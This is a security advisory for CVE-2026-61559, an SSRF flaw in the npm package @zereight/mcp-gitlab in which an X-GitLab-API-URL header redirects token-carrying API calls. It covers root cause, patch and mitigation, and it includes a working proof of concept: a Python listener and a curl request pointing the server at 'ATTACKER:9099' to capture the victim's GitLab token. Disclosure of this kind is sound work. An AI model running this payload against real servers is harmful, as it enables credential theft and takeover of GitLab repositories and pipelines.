critical · 9.6CVE-2026-61559Sep 15, 2026

CVE-2026-61559: @zereight/mcp-gitlab Server-Side Request Forgery via X-GitLab-API-URL Header

Rohit Hatagale
AI Security Researcher, SecureLayer7

When dynamic API URL support is enabled, any caller can redirect the GitLab MCP server's outbound API calls to an attacker-controlled host and steal the server's GitLab token in a single request.

Package@zereight/mcp-gitlab
Ecosystemnpm
Affected>= 0.0.1, < 2.1.27
Fixed in2.1.27
CVE-2026-61559: @zereight/mcp-gitlab Server-Side Request Forgery via X-GitLab-API-URL Header

The problem

All versions of @zereight/mcp-gitlab before 2.1.27 accept an X-GitLab-API-URL request header and use it as the base URL for outbound GitLab API calls when ENABLE_DYNAMIC_API_URL=true. The server validates only that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction.

Every outbound fetch then carries Private-Token: <victim_token> to whatever host the header names. An attacker who can reach the HTTP transport can redirect those credential-carrying calls to a host they control and receive the GitLab Personal Access Token or CI/CD job token in one request.

With the stolen token they gain the victim's full GitLab API access: read of all repositories and secrets, plus write to push code and modify pipelines.

Proof of concept

A working proof-of-concept for CVE-2026-61559 in @zereight/mcp-gitlab, with the exact payload below.

bash
# 1. Start a listener on the attacker host
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('HEADERS:', dict(self.headers))
        self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"

# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
  -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
  -H "Authorization: Bearer ANY_VALID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'

# Attacker listener receives:
# GET /api/v4/projects/1/issues HTTP/1.1
# private-token: <VICTIM_GITLAB_TOKEN>
# Host: ATTACKER:9099

The root cause is a missing allowlist check at two sinks in index.ts: the SSE handler (line 11541) and the Streamable HTTP handler's parseAuthHeaders (line 11787). Both read X-GitLab-API-URL, call normalizeGitLabApiUrl() on it, and assign the result to apiUrl, which then flows into getEffectiveApiUrl() and getFetchConfig().

The only guard in the Streamable HTTP path is new URL(dynamicApiUrl), a syntax-only check that accepts any reachable hostname.

The patch (commit 6ffb4cc, PR #625) added a GITLAB_ALLOWED_HOSTS environment variable. At both sink locations the patched code parses the header URL, extracts the hostname, and throws if that hostname is not in the allowlist, blocking the token-forwarding path before apiUrl is reassigned.

CWE-918 (SSRF) applies directly: untrusted input controls the destination of a server-side HTTP request that carries credentials.

The fix

Upgrade to @zereight/mcp-gitlab >= 2.1.27 (npm). The patch (commit 6ffb4cc) validates X-GitLab-API-URL against a GITLAB_ALLOWED_HOSTS comma-separated allowlist at both the SSE and Streamable HTTP handler sinks. Set GITLAB_ALLOWED_HOSTS to your trusted GitLab hostname(s).

If you cannot upgrade immediately, set ENABLE_DYNAMIC_API_URL=false (or leave it unset, as false is the default) to disable the feature entirely.

Reported by Pluto Security.

References: [1][2][3][4][5]

Related research